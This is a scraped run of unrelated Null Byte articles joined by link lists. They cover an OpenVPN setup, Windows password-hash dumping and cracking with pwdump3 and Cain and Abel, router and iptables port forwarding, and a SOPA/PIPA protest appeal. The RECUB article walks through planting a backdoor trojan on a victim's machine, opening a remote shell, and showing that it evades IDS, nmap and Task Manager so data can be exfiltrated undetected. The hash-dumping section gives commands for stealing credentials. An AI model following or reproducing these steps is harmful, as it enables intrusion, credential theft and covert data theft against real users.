MITMf and BeEFHack Like a Pro:How to Hijack Software Updates to Install a Rootkit for Backdoor AccessHow To:Control Network Traffic with Evil Limiter to Throttle or Kick Off DevicesHow To:Build an Evasive Shell in Python, Part 4: Testing the ShellHow To:Build an Evasive Shell in Python, Part 3: Building the Attacker ScriptHow To:Use & Abuse the Address Resolution Protocol (ARP) to Locate Hosts on a NetworkHow To:Hijacking Cookie SessionsHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningHow To:Use DNS spoofing in EttercapHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:How Hackers Steal Your Internet & How to Defend Against It
How to Mask Your IP Address and Remain Anonymous with OpenVPN for Linux « Null Byte :: WonderHowTo
OpenVPNis the open-source VPN (VirtualPrivateNetwork) client, used over the PPTP (Point toPointTunnelingProtocol). It allows you to connect to a remote network over a secure, encrypted connection and mask your IP addresses over all ports. Since there is only one "hop," the network speeds are barely effected and are far more secure.VPNs can protect you from an arsenal of threats. MITM attacks, packet sniffing, internet privacy, etc. They can be more beneficiary than a SSH in some circumstances.I created aVPN tutorialfor Windows previously, but in thisNull ByteI want to help the Linux and Unix users who would like to use OpenVPN, but can't due to the overly complicated setup and configuration.I will be teaching you this under BackTrack 5.RequirementsA Unix-based OSRoot privilegesLet's get started. We will be learning OpenVPN's configuration and setup via the following video guide. The commands in the video are listed directly below it.Please enable JavaScript to watch this video.Commandssumkdir vpncfgcp -r /usr/share/doc/openvpn/examples/easy-rsa/2.0/* vpncfg/cd vpncfg/vim varsReplace necessary fields in the file.source vars./clean-all./build-ca./build-key-server nullbytezSign the certificate../build-key <name>./build-dhmkdir ~/yourkeyscd keys/cp -v ca.crt <name>.{crt,key} ~/yourkeys/cp -v dh1024.pem nullbytez.{key,crt} ca.crtecho "1" > /proc/sys/net/ipv4/ip_forwardiptables -t nat -A POSTROUTING -s 10.0.69.0/24 -o eth0 -j MASQUERADE -vvim /etc/openvpn/openvpn.conf<watch video>openvpn client.confAfter completing all of the steps outlined in the video and in the above commands, you should be connected to the VPN with all connections encrypted. If you need help with some of the commands in the video, or just want to hang out, come say hello in the Null ByteIRC!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto byArs TechnicaRelatedHow To:Set Up Private Internet Access in LinuxHacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebHow To:VPN Your IoT & Media Devices with a Raspberry Pi PIA RoutertrafficHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hacker Fundamentals:A Tale of Two StandardsHow To:Understand & Use IPv4 to Navigate a NetworkHow To:Get VPN ConnectionHow To:Linux Basics for the Aspiring Hacker: Using Ship for Quick & Handy IP Address InformationHack Like a Pro:Networking Basics for the Aspiring Hacker, Part 1Rasberry Pi:Connecting on ComputerHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebHow To:Chain VPNs for Complete AnonymityHow To:Become Anonymous on the Internet Using TorHow To:Assign a Static IP Address in Windows 7How To:Run an FTP Server from Home with LinuxHow To:Run a Free Web Server From Home on Windows or Linux with ApacheHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItNews:Anonymity, Darknets and Staying Out of Federal Custody, Part One: Deep WebHacker Fundamentals:A Gentle Introduction to How IP Addresses WorkHow To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosHow To:Make a Change-of-IP Notifier in PythonHow To:Get Free Wi-Fi from Hotels & MoreHow to Become Anonymous Part 1:Avoid IP Leaks for the Anonymity SakeHow To:Code a Basic TCP/IP Client & Server Duo in PythonHow To:Bypass a Local Network Proxy for Free Internet
Hack Like a Pro: How to Grab & Crack Encrypted Windows Passwords « Null Byte :: WonderHowTo
Welcome back, my neophyte hackers!Several of you have written me asking how to crack passwords. The answer, in part, depends upon whether you have physical access to the computer, what operating system you are running, and how strong the passwords are.In this first installment on password cracking, we'll assume the simplest arrangement; you're running Windows, attacking Windows, and have physical access to the computer whose passwords you're attempting to crack.In future installments, we'll look at cracking passwords remotely, with and on Linux operating systems, and cracking famous web applications such as Gmail and Facebook, so keep coming back!Step 1: Download Pwdump3Windows systems encrypt user passwords and store them in a file namedSAMand store them in the following directory:c:\Windows\system32\configThe first thing we need to do is grab this file. Inan earlier article, we usedMetasploitto hack into the malicious dictator's computer and grab his password hashes.We can also grab the hashes without Metasploit if we have physical access to a computer on the network. This can be done with a neat piece of software calledpwdump3. It's installed onBackTrackalready, but you can download it for free on Windows using the link below.Click here to download pwdump3 for Windows.Pwdump3 is able to grab the encrypted passwords for us, and we can then crack them with another password cracking tool. So, let's grab that SAM file with pwdump3!Step 2: Grab the HashesOpen a command prompt. Now navigate to the folder where you placed your pwdump3 app. I put mine on the desktop. Now type:c:/user/Desktop/pwdump3 mycomputer hashdumpfile.txtWhen you hit enter, pwdump3 will grab the password hashes and place them in the file called "hashdumpfile.txt". Make sure that you replace "mycomputer" in the command above with the actual name of your computer. If you don't know the name of your computer, simply type "hostname" as the command prompt and Windows will return the name of your computer.Pwdump3 can retrieve the password hashes from any computer on your network!Step 3: Download Cain & AbelNow that we have encrypted passwords (hashes), we now need to decrypt them so we can read and use them. Most hacking software is developed for the Linux operating system, then gets ported (recompiled) for Windows, but there is one delightful exception—Cain and Abel.Cain and Abel is a hacking application exclusive to Windows that has never been ported for Linux. It's a powerful and free (but not open source) application that every hacker should be familiar with. We'll be using just one of its many capabilities, namely cracking Windows password hashes.Click here to download Cain and Abel for Windows.Now that we have all the tools we need, let's start cracking those passwords!Step 4: Crack the PasswordsCain and Abel must be run with administrator privileges, so right-click the CAIN icon on your desktop and select "Run as administrator." It should then open up a screen that looks like this:Next, click on the "Cracker" tab at the top of the work area, and provide Cain and Abel the password hashes to crack. Simply right-click on the white space in the center of Cain and Abel and a pull-down window will appear. Select "Import hashes from a text file."Choose the file with the password hashes that you created with pwdump3 (in our example, we used "hasdumpfile.txt") or retrieved on Metasploit, then click on the "Next" button.We can now right-click on the hashes and select what type of hash crack we want to proceed with. The fastest method is to use the "Dictionary attack."If you navigate to the Cain folder on your system, you will see a folder called "Wordlist." You can use this relatively small word list or any other word list of your choice (there are numerous word lists available on the Internet with millions of words).This method attempts all words from the dictionary file to find password matches, and generally is very fast as it can search through even a large dictionary file in just a few minutes. If this fails, select "Hybrid Attack" and finally, a "Brute-Force Attack." A brute force might be slow, but eventually, it will crack all passwords.Okay, stay connected here at Null Byte, because we have more exciting Hack Like a Pro guides coming up soon!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseMagnifying glassandpassword textimages via ShutterstockRelatedHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)News:8 Tips for Creating Strong, Unbreakable PasswordsNews:Flawed Laptop Fingerprint Readers Make Your Windows Password Vulnerable to HackersHow To:Recover Passwords for Windows PCs Using OphcrackHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHack Like a Pro:How to Crack Passwords, Part 5 (Creating a Custom Wordlist with CeWL)Hack Like a Pro:How to Crack User Passwords in a Linux SystemHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)How To:Really Protect Your Encrypted iPhone Backups in iOS 11 from Thieves & HackersHow to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHack Like a Pro:Using TFTP to Install Malicious Software on the TargetHow To:Hack MD5 passwordsHack Like a Pro:How to Hack Facebook (Facebook Password Extractor)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)How To:Use John the Ripper in Metasploit to Quickly Crack Windows HashesHack Like a Pro:How to Crack Passwords, Part 3 (Using Hashcat)How To:Create an Encrypted Zip Archive in Mac OS X and WindowsVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:Crack Wi-Fi Passwords—For Beginners!How To:The Ultimate Guide to Password-Protecting Files & Folders in Mac OS X YosemiteHow To:How Hackers Take Your Encrypted Passwords & Crack ThemMastering Security, Part 1:How to Manage and Create Strong PasswordsSecure Your Computer, Part 3:Encrypt Your HDD/SSD to Prevent Data TheftHow To:Carve Saved Passwords Using CainHow To:Recover WinRAR and Zip PasswordsHow To:Encrypt Your Sensitive Files Using TrueCryptHow To:Bypass Windows and Linux PasswordsRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:Hack Mac OS X Lion PasswordsHow To:Recover a Windows Password with OphcrackHow To:GPU Accelerate Cracking Passwords with HashcatHow To:Defend from Keyloggers in Firefox with Keystroke EncryptionNews:Advanced Cracking Techniques, Part 1: Custom DictionariesHow To:Use Wireshark to Steal Your Own Local PasswordsNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingHow To:Remove a Windows Password with a Linux Live CDHow To:Safely Log In to Your SSH Account Without a Password
How to Configure Port Forwarding to Create Internet-Connected Services « Null Byte :: WonderHowTo
Ports allow network and internet-connected devices to interact using specified channels. While servers with dedicated IP addresses can connect directly to the internet and make ports publicly available, a system behind a router on a local network may not be open to the rest of the web. To overcome the issue, port forwarding can be used to make these devices publicly accessible.Networked services and apps running on various devices make use of ports at specific numbers as a means to initiate connections and establish communications. Different ports can be used simultaneously to separate and parse different types of traffic or requests easily. Ports are generally associated with specific services, such that a client can connect to a server on a particular port and assume that the server will accept a connection at that port and respond appropriately.Some commonly used ports are shown below.21: FTP(File Transfer Protocol)22: SSH(Secure Shell)23: Telnet(Teletype Network)25: SMTP(Simple Mail Transfer Protocol)80 : HTTP(Hypertext Transfer Protocol)194: IRC(Internet Relay Chat)443: HTTPS(HTTP Secure)If you are viewing this guide on the internet and using a web browser, you're probably connected using HTTPS, which operates over port 443.While ports make it simple to identify and address specific requests, port-numbering conventions are a standard, not a rule. Ports can be used for whatever a person may choose to host on them, so long as the connection between the client and server on a given port uses a consistent protocol.In web browsers, non-standard HTTP ports can be specified following a colon at the end of an IP address or URL to attempt to load HTTP content over that port. If a web server is running on a local machine on port 8080 rather than the conventional port 80, it would be possible to access this in a web browser by navigating to localhost:8080 or 127.0.0.1:8080, but if either of the two aforementioned addresses were entered without the ":8080" suffix, the same page would not load.localhost:8080While any open port should allow connection attempts, for these attempts to be made, a client device needs network access to the device. While this isn't necessarily an issue for a server connected to the internet directly or a connection across a local area network, it becomes problematic when one attempts to access a specific port on a device that is protected by a router or firewall.Don't Miss:Use SSH Local Port Forwarding to Pivot into Restricted NetworksMost home or office networks are connected to the internet through a router. A router can manage internet usage for a network and centralize the traffic at one IP address. All requests and packets are sent through the router before being distributed back to the respective devices, which made the original requests. By default, routers do not handle incoming requests on specific ports. If one attempts to connect over SSH to a router, the router has no way to handle that request, nor does it know who on the network to forward the requests to. This problem can be solved by configuring port forwarding within the router.Step 1: Identify Your Router & Control PanelRouters generally provide an HTTP administration panel on port 80. This control center can be accessed by using the local network IP of the router, 192.168.0.1 or 192.168.1.1, in most cases. On Microsoft Windows, one can identify the location of the connected router or "Default Gateway" by opening a Command Prompt window and runningipconfig/all.C:\> ipconfig/all Windows IP Configuration Host Name . . . . . . . . . . . . : █████████ Primary Dns Suffix . . . . . . . : █████████ Node Type . . . . . . . . . . . . : █████████ IP Routing Enabled . . . . . . . : █████████ WINS Proxy Enabled . . . . . . . : █████████ Ethernet adapter Ethernet: Connection-specific DNS Suffix . : █████████ Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Desktop Adapter Physical Address . . . . . . . . : █████████ DHCP Enabled . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes Link-local IPv6 Address . . . . . : █████████ IPv4 Address . . . . . . . . . . : █████████ Subnet Mask . . . . . . . . . . . : 255.255.255.0 Lease Obtained . . . . . . . . . : █████████ Lease Expires . . . . . . . . . . : █████████ Default Gateway . . . . . . . . . : 192.168.0.1 DHCP Server . . . . . . . . . . . : 192.168.0.1 DHCPv6 IAID . . . . . . . . . . . : █████████On Linux, the same can be done usingnetstat. Open a new terminal window and run the following command to see the IP of the router you're connected to.~$ netstat -rn Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface 0.0.0.0 192.168.0.1 0.0.0.0 UG 0 0 0 enp0s25 █████████ ████████████ █████████ ███ ██████ ████████████ █████████ ████████████ █████████ ███ ██████ ████████████On macOS, you can use the same command as on Linux.~% netstat -rn Routing tables Internet: Destination Gateway Flags Netif Expire default 192.168.0.1 UGSc en0 █████████ █████████ █████████ ███ ████ █████████ █████████ █████████ ███ ████ █████████ █████████ █████████ ███ ████ █████████ █████████ █████████ ███ ████ █████████ █████████ █████████ ███ ████ █████████ █████████ █████████ ███ ████Step 2: Access the Router Configuration PanelOnce you've identified the local IP address of your router, you can access the configuration panel by opening the address in your web browser, just as you would any other URL. (Note: some routers, such asAmplifi, actually have mobile apps that make it easier.)Once the router management page is open, log in to the router. The username and password may have been set by yourself (if you know what's good for you) or an internet service provider, or it could be the router manufacturer's default credentials. This information can generally found online in the router's documentation and sometimes even physically on the side of the router.While all routers will have slightly different interfaces, once logged in, look for an "Advanced" area, or something which includes "Port Forwarding." In the case below, the relevant area was titled "Advanced Port Forwarding Rules."Now, you can begin configuring port forwarding settings for the router.Step 3: Define Your Port Forwarding RulesTo demonstrate usage of port forwarding rules, we'll use a sample use case. In this scenario, a user has aRaspberry Piconnected to their home network router. The Pi has an SSH service running, allowing a user to log in if they have the correct username and password. The current IP address of the Pi is 192.168.0.105.The user names the rule "RBPi SSH" to make it easier to identify for future administration. The name of the rule does not matter beyond personal preference, as it does not affect how the port is used.ThePublic Port(sometimes calledSource Port) range is set to 22 through 22, or the standard SSH port 22. This is the port which the router will reveal to the internet as being open, and the port which a user will connect to if they wish to connect to the Pi.ThePrivate Port(sometimesDestination Port) is set to 22 as well, as the SSH daemon is running on port 22 on the Pi.TheTraffic Typeis set to TCP, as SSH is TCP traffic.TheIP Addressis set to that of the Pi on the local network, 192.168.0.105.Finally, the checkbox at the left of the rule is checked to enable the new setting.While your router's interface may work slightly different, the concept is the same.This rule, when saved, means that now a user can connect to SSH to the IP address of the router from anywhere on the internet and be forwarded to their Raspberry Pi server. This could also be used to create an HTTP web server on port 80 or perhaps facilitate a video game server on a specific port. Keep in mind that some ISPs have defined rules regarding hosting servers and other content, and be sure to check any applicable rules before choosing to host an internet-accessible server on a local network.Step 4: Protect from Port Scanning & AttacksOne vulnerability that arises when exposing ports to the internet through port forwarding is port scanning. Attackers on the internet can use automated drones to scan sets of IP addresses or will use tools likeShodanto find potentially vulnerable devices with specific ports active. SSH ports are a prime target, as they represent a shell environment where data could be stolen, and malware could potentially be installed.Don't Miss:How to Use the Shodan API with Python to Automate Scans for Vulnerable DevicesIn the case of port forwarding, to protect against port scanning, it may be advantageous to change the public or source port in the router configuration. Rather than using a common port like 22, which is frequently scanned for, a more uncommon port such as 9022 can serve just as well to connect over SSH to the Raspberry Pi without leaving a low-numbered port available to be discovered through scanning.With this port changed, the only difference in usage is that a client connecting to the devices over SSH from outside the network will need to specify port 9022 rather than assuming the default port, 22, is in use. Attempting to connect to port 22 will not work outside of the local network, as while the SSH daemon on the Pi is running on that port, it is being forwarded over port 9022, not port 22.You can also use a service likeFail2ban, an intrusion prevention software framework designed to protect your system from brute-force attacks once an attacker finds out the real port you're using. A tool like Fail2ban will rate-limit the number of login attempts that can be made on the network.System-Level Port Forwarding on LinuxWhile router-based port forwarding is useful for internet-facing network configuration, port forwarding can also be established at the system level when using Linux.Much in the same way that a router port can be linked to a specific port on a device within a network, one port can also be linked to another to facilitate easier use. For instance, when installingthe Cowrie honeypot, the SSH daemon is moved from port 22 to port 9022, and then port 2222, where the honeypot is running, is forwarded to port 22, where it will be scanned and attacked on the internet.To begin configuring local port forwarding on Linux, one may first need to enable it within Linux itself. To do this, run the command below to set the value ofip_forwardto1or true.~$ echo "1" > /proc/sys/net/ipv4/ip__forwardOnce IP forwarding is enabled, ensure that you know the current port of the service you intend to forward. During the configuration of the Cowrie honeypot, this is done by changing the SSH daemon configuration to move the service to port 9022.GNU nano 2.7.4 File: /etc/ssh/sshd_config Modified # $OpenBSD: sshd_config,v 1.100 2016/08/15 12:32:04 naddy Exp $ # This is the sshd server system-wide configuration file. See # sshd_config(5) for more information. # This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin # The strategy used for options in the default sshd_config shipped with # OpenSSH is to specify options with their default value where # possible, but leave them commented. Uncommented options override the # default value. Port 9022 #AddressFamily any #ListenAddress 0.0.0.0 #ListenAddress ::Finally, to enable local port forwarding,iptablescan be used. The command below redirects requests on port 22 to port 2222, where the honeypot handles them.~$ sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222Other Uses for Port ForwardingPort forwarding can be applied to other implementations, such as forwarding port 8080 to port 80 to make a test server more easily accessible or to add additional ports to use for a particular service. Port forwarding is a valuable technique for remote access, server administration, network configuration, and even for post-exploitation and pivoting. Understanding it can be the key to countless other security projects!I hope that you enjoyed this tutorial on port forwarding! If you have any questions about this tutorial or port forwarding in general, feel free to leave a comment or reach me on [email protected]'t Miss:How to Send & Receive iMessages on Your Android PhoneWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by TAKHION/Null ByteRelatedHow To:Use SSH Local Port Forwarding to Pivot into Restricted NetworksHow To:Use Remote Port Forwarding to Slip Past Firewall Restrictions UnnoticedHow To:Share Your Laptop's Wireless Internet with Ethernet DevicesHow To:Run an FTP Server from Home with LinuxHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItMastering Security, Part 2:How to Create a Home VPN TunnelHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebHow To:Run a Free Web Server From Home on Windows or Linux with ApacheHow To:Create an SSH Tunnel Server and Client in LinuxNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Protect Your Mac & Linux Computers from Hacks by Creating an iptables FirewallHow To:Use Tortunnel to Quickly Encrypt Internet TrafficNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningHow To:Chain VPNs for Complete AnonymityHow To:Turn Your House Lights On & Off Using the InternetNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersNews:Catch Creeps and Thieves in Action: Set Up a Motion-Activated Webcam DVR in LinuxHow To:Hack Wireless Router Passwords & Networks Using Hydra
Hack Like a Pro: Creating a Virtually Undetectable Covert Channel with RECUB « Null Byte :: WonderHowTo
Welcome back, my budding hackers!We've spent a lot of time learning to compromise Windows systems, and we've successfullycompromised them with Metasploit,cracked their passwords, andhacked their Wi-Fi. However, very little time was spent developing ways to extract the information from the system once inside.Obviously, if we compromise a system, we're likely after some data inside. If so, we need a way to get the data out without being detected. On most systems, there is likely to be anIDSor IPS looking for malicious packets, both in and out. In addition, a vigilant security administrator will notice when a new port or service is open.Ideally, the best method of extracting data would be undetectable from the system admin or others so they can't close off our extraction path. As an exfiltration can often take hours, days, or weeks, we need a covert channel that can't be detected by the security devices or the security admin.How to Remain Undetected When Exfiltrating DataIn this tutorial, I will show you a tool calledRECUBthat will create a covert channel on a Windows or Linux system that is virtually undetectable by an intrusion detection system,nmap scanning, or even the operating system tools itself.A Quick Description of RECUBMicrosoft describes RECUB this wayon their website:"This threat is classified as a backdoor trojan. A backdoor trojan provides remote, usually surreptitious, access to affected systems. A backdoor trojan may be used to conduct distributed denial of service (DDoS) attacks, or it may be used to install additional trojans or other forms of malicious software.""For example, it might be used to install a downloader or dropper trojan, which may in turn install a proxy trojan used to relay spam or a keylogger trojan which monitors and sends keystrokes to remote attackers. It might also open ports on the affected system and thus potentially lead to further compromise by other attackers.""This threat is detected by the Microsoft antivirus engine. Technical details are not currently available."Step 1: Download RECUBYou can download RECUBhere. RECUB has a client/server architecture, so you will need to put the server on the target and the client on our attack system.Step 2: Install the RECUB Server on the Target SystemInstall it on the RECUB server by clicking on RecubSvr.The server will silently run in the background until it is awakened by the client activating it.Step 3: Install the RECUB Client on Your Attack SystemNow install the RecubClient.exe on the attack system and run it as administrator. It should have GUI interface like that below.Now, enter the IP address and port that you want RECUB to communicate on. I have used port 31337, but you can use any port. The password is 123 and can't be changed without recompiling RECUB, so let's not change it.Step 4: Send the Encrypted ICMPTo activate the server, RECUB uses an encrypted ICMP packet. Click on the "Send Act. Ping" button and it send the ping that activates the server on the target.The RECUB server will intercept the packet, decrypt it, and make a connection back to the client. This will open a command shell on the client system that gives you control of the target system!Better yet, we could use the HTTPS port 443, so to the security admin it will appear to normal HTTPS traffic.Step 5: Test Whether Snort Can Detect ItNow that we have a covert channel running between these systems, let's use an IDS likeSnortto see whether it can detect the traffic. Let's use Snort on ourKaliorBackTracksystem to sniff the traffic between these two machines and see if it triggers an alert.As you can see, this covert channel is totally invisible to Snort and does not trigger any alerts.Step 6: Test Whether Nmap Can Detect It on Open Port & ServiceNext, as our covert channel for exfiltration of data may need to be open for days or weeks, it's important that a vigilant security admin not be able to detect it.Some of the better and more vigilant security admins will do a periodic scan of open ports and services on their networks. In this way, they can see whether a system or network has been compromised.Inmany of our exploits, we have opened a communication channel between our control system and the victim system. If the sysadmin scans the system while this in place, they will see an unauthorized open port. This will lead to their action that will likely close that availability.Now, let's do an nmap scan of the system with the RECUB server and see whether we can detect the covert channel. In the below command,-sTscan for TCP ports,-sUscans for UDP ports, and-p0-65535tells nmap to scan all ports.nmap -sT -sU -p0-65535 10.59.27.89As you can see, nmap does not detect any unusual ports open on the system with the RECUB server.Step 7: Test Whether the RECUB Process Is VisibleThe RECUB covert channel is nearly undetectable, even by the operating system itself! One of the tools we have for viewing our running services is the Task Mananger. Let's open the Task Manager and see whether it shows the process RecubSvr.exe.As you can see, even the operating system itself can't detect the service!RECUB is one of the many tools that we place on the victim system that will enable us to control the victim system and remove the data that we are seeking. It is largely undetectable by the IDS, nmap, or the operating system itself. Some third-party tools can detect it, but most security admins will never look that deeply to detect a convert channel on the victim and all the while we can be quietly removing data without detection or interruption.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseHacker's eyeimage via ShutterstockRelatedHack Like a Pro:How to Create a Nearly Undetectable Covert Channel with TunnelshellHow To:Hack a Hard Drive into a Hidden Flash Drive, Cell Phone Charger & More!How To:Binge-Watch YouTube Videos on Android Like a True Couch PotatoHow To:Use multiple output channels in Soundtrack ProGalaxy S8 Oreo Update:Notification Channels Bring Granular Controls for AlertsHow To:Conduct a covert surveillance with audioNews:Does Face ID Work When Your iPhone 11, 11 Pro, or 11 Pro Max Is Flat on a Table?How To:Use Knoll Light Factory Pro After Effects pluginYouTube 101:How to Manage Your NotificationsHow to Hack Wi-Fi:Creating an Invisible Rogue Access Point to Siphon Off Data UndetectedHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHow To:You Can Easily Hack Instagram for a Crazy Amount of Likes (But You Totally Shouldn't)News:Here's How the Weather Channel Is Using Augmented Reality to Make Us All SaferHow To:Create an Undetectable Trojan Using a Domain NameHow To:Capture Unauthorized Users Trying to Bypass Your Windows 8 Lock ScreenHow To:Conduct a covert mobile surveillanceNews:Apple Just Released iOS 12.3 Public Beta 1 for iPhone, Includes Updated TV App with Subscription ChannelsHow To:Create a Multi-Channel Music Sequencer in MinecraftNews:Minecraft World's Weekly Workshop: Creating a Multi-Channel Music SequencerGoodnight Byte:Hack Our IRC Bot to Issue CommandsHow To:Fix the Channel -1 Glitch in Airodump on the Latest KernelNews:Achieve Results YouTube ChannelHow To:The Official Google+ Insider's Guide IndexNews:A Computer Game Inside MinecraftNews:Overhead Camera Boom Made with PVC PipeHow To:Remove Gamers Unite from your Facebook AccountGoodnight Byte:Coding an IRC Bot in Python (For Beginners)News:What does Pro Tools HD Native mean for you?Weekend Homework:How to Become a Null Byte Contributor (2/17/2012)How To:Draw Ferb of Disney Channel's Phineas and FerbHow To:Use straight alpha channels in Adobe Photoshop
How to Join the Fight Against SOPA and PIPA « Null Byte :: WonderHowTo
Amazingly, a lot of people I know haven't even heard of SOPA or PIPA. Now, every English-reading person with an internet connection will finally have those two four-letter acronyms emblazoned in their minds. For the entire day today,Wikipedia's English-language sitewill be in total blackoutin protestagainst the proposed legislation in the United States. And that's not all. MoveOn, Reddit, BoingBoing, Mozilla, WordPress, TwitPic and other popular websites aredown todayin protest.Both the Stop Online Piracy Act and PROTECT IP Act are backed by six Hollywood film studios and four major record companies. The bill's stated goal is to put an end to online piracy, but given their approach, they would effectively give the U.S. government a kill switch for any site on the internet. What's more, the decision to throw that switch would be given to a court at the request of a private company, without the website in question being given a chance to state their case. It's true that piracy is a problem, but this is not the way to solve it.If these bills get the green light, private companies or individuals could ask a judge to cut off access in the states to any sites they accuse of piracy. Online advertisers, credit card companies, and ISPs could also be forced to cut off ties with any accused pirates. The bills also give immunity to ISPs who voluntarily take action against any accused sites.I imagine Comcast would have an itchy trigger finger.Both bills are ambiguously written, opening the possibility for companies to exploit them to take down any websites where people share content with each other. Currently, if a person shares copyrighted material on a website, that website is protected by the DMCA, so long as they take down any infringing material promptly after being notified of an infringement. It is impossible for a website that allows users to post content such as images, videos, or audio files to verify whether or not that content is copyrighted by someone else so this protection has opened the door to every single website you use that allows you to post something to it without delay. SOPA and PIPA would skip this safe harbor, rendering practically every social site vulnerable to attack and without any chance to defend themselves in court.If these bills pass, one infringement would be enough for a copyright holder to file to take down an entire website. YouTube could disappear overnight. Same with Vimeo, Flickr, Twitter, or even WonderHowTo. Enacting such a draconian law would stifle innovation from new web startups. It would be too risky to create a website where people could submit their ownwhatever. Even the White House hasspoken outabout its concerns, emphasizing that they "will not support" any bill "that reduces freedom of expression, increases cybersecurity risk, or undermines the dynamic, innovative global Internet."Still don't get what the antipiracy bills could accomplish? Check outthis recent articlefrom the Electronic Frontier Foundation (EFF) outlining the problems. Or watch the video below.Please enable JavaScript to watch this video.Video explaining what PIPA could accomplished if passed.SOPA has beendelayed for now, but it's definitely not out of the pipeline. And PIPA is still alive, with a Senate vote scheduled for next Tuesday, January 24th. So, how can you join the fight against these internet-killing bills?Today's Strike: What You Can DoOver 12,000 websites are showing their hatred for these antipiracy bills today. Not all are going dark. But like mentioned before,Wikipedia,Reddit,BoingBoing, and others will be going completely black today. Google is even supporting it by blacking out their logo with a link that sends youto this pagewhere you can sign the petition.You can see a full list at theSOPA STRIKEwebsite.But having a bunch of websites go dark for a day isn't the only way to grab the attention of Congress. Every U.S. Citizen who uses the internet should participate in today's events. And that means emailing and/or calling your Representatives! The best chance of stopping SOPA and PIPA is while the Senate is in recess, before the January 24th vote.Contact Your RepresentativesTo contact your Congressman, you can find them directly on their respective sites below.United States House of Representatives: There's a tool for finding your local Representative. Enter in your state and zip code, and you'll be directed to an email form for instant communication. There's also phone numbers and physical address listed.United States Senate: They don't have a nifty tool that sends you directly to your Senator, but you can browse lists or enter in your state to find direct lines of contact.Other ways to find your Congressmen.You can also visit theCitizen's Congressional Directoryto find your representative. You can browse lists or enter in your address to find direct lines of contact.Also, you can use thefree Android appto locate your Congressmen. There isone for iOSmade by a different publisher, but it doesn't look as good, and it's not free.But what exactly do you say to them? If you need help with the right words, there are sites out there that streamline the process for you.SOPA STRIKE: Sign the petition!Google: Sign the petition!Fight for the Future: This is the same site that runs SOPA STRIKE, but this page will send out an email to your Congressmen for both SOPA and PIPA.Electronic Frontier Foundation: Just input your zip code and they'll find the right people for you to contact. The email subject and body are already filled out. All you have to do is give your name and address details to send the letters to your congressmen. It's that easy.Another article from the EFFgives you a script for calling your Representative on SOPA. There's alsoone herefor calling your Senator on PIPA. When you call, make sure the staff assistant takes down your information so that they know you are a constituent.OpenCongress: Another site that will send out emails for you.Also, here's aguide on setting up meetingswith your Congressional Representatives.Do you live outside of the United States? Thensign the petition opposing U.S. censorship of global sites.If you have a website,click hereto see how to black it out. If you don't have a website and don't feel like calling or writing your Representatives, then you can at leastutilize Facebook and Twitter. Got any other suggestions for waging the war against SOPA and PIPA? Post them in the comments below.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull 